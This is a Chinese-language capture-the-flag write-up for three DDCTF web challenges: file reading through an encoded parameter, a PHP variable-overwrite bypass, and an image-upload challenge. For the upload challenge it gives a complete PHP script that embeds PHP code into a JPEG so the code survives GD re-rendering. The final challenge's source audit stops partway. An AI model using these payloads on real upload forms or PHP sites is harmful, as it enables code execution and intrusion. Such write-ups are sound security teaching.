欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

DDCTF-writeup

程序员文章站 2022-05-12 13:39:43
...

滴~

DDCTF-writeup
打开链接,很明显,url有提示,jpg的值是经过两次base64和一次hex编码后的结果,所以反向解码得到的结果为flag.jpg
DDCTF-writeup
本来想着是不是有php伪协议的漏洞,然后试着读取并没有读到什么有用的东西,所以直接就读取index.php试试,前提是把index.php给按照前面的规律编码一下,结果是

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

当作jpg的值传入,结果同样有一个图片,不过没有显示出来
DDCTF-writeup
查看页面源代码,很明显是一个图片经过base64编码后的结果,所以拿去在解码,解码时需要把上面带的前缀和后缀去掉,不然识别不出来是base64编码
DDCTF-writeup
解码的结果为

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

这里就有考验脑洞的地方了,这段代码里有一个CSDN的博客,它是有用的,还有日期,给出的文章链接只是承接部分,我们需要找到作者在7月4好4号的那篇文章,里面有提示。。。
这是链接

https://blog.csdn.net/fengbanliuyun/article/details/80913909

DDCTF-writeup
讲的是临时文件的知识点,所以我们就在链接后加上practice.txt.swp
会出现
DDCTF-writeup
而且我们之前读到的代码里有**$file = str_replace(“config”,"!", $file);**意思是把!替换成config
所以就按之前读取index.php的方法去读取flagconfigddctf.php
同样的,会读取到一段代码

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
	{
		echo $flag;
	}
	else
	{
		echo'hello';
	}
}

?>

这里有很明显的变量覆盖漏洞,解决方法就是构造如下的payload(把传入的参数置空就OK)

?uid=&k=

Upload-IMG

文件上传题目,先上传一张正常的照片
DDCTF-writeup
提示图片中未包含phpinfo()
DDCTF-writeup
所以我们用notepad++去加上phpinfo(),但是加上后还是会显示一样的错误信息,说明我们上传的信息应该是被过滤掉了。
我们把原先自己的图片的hex和上传过后的hex比较一下
DDCTF-writeup
DDCTF-writeup
多了gd的标志,说明有gd库渲染漏洞,用脚本跑一下
DDCTF-writeup
DDCTF-writeup
生成了一个新的payload图片,再上传就能得到flag了。。。
DDCTF-writeup
脚本如下

<?php

    $miniPayload = "<?php phpinfo();?>";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

签到题

点开题目链接,发现提示“抱歉,您没有登陆权限,请获取权限后访问-----”,先查看源代码,发现了“js/index.is”有提示
DDCTF-writeup
请求头中的参数"didictf_username"的值为空
DDCTF-writeup
根据题目“没有权限”,就构造值为admin,经过编辑和重发,发现返回了一个地址
DDCTF-writeup
访问app/fL2XID2i0Cdh.php是2个类的源代码
Application类和Application类的继承:Session类
审计源代码,发现Application类中有__destruct()魔术方法,说明有可能会用到PHP反序列化的内容.里面有一个对参数$path长度判断的一个if语句,还有文件包含,满足条件的话,返回Congratulations

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}

还有对路径的过滤,’…/‘和’…\'都被过滤了

private function sanitizepath($path) 
{
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

再继续对Session类审计

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
);
    }

以上代码显示,可能存在一个key.txt,但是访问config文件的话,显示权限不够

相关标签: 安全 经验分享

推荐阅读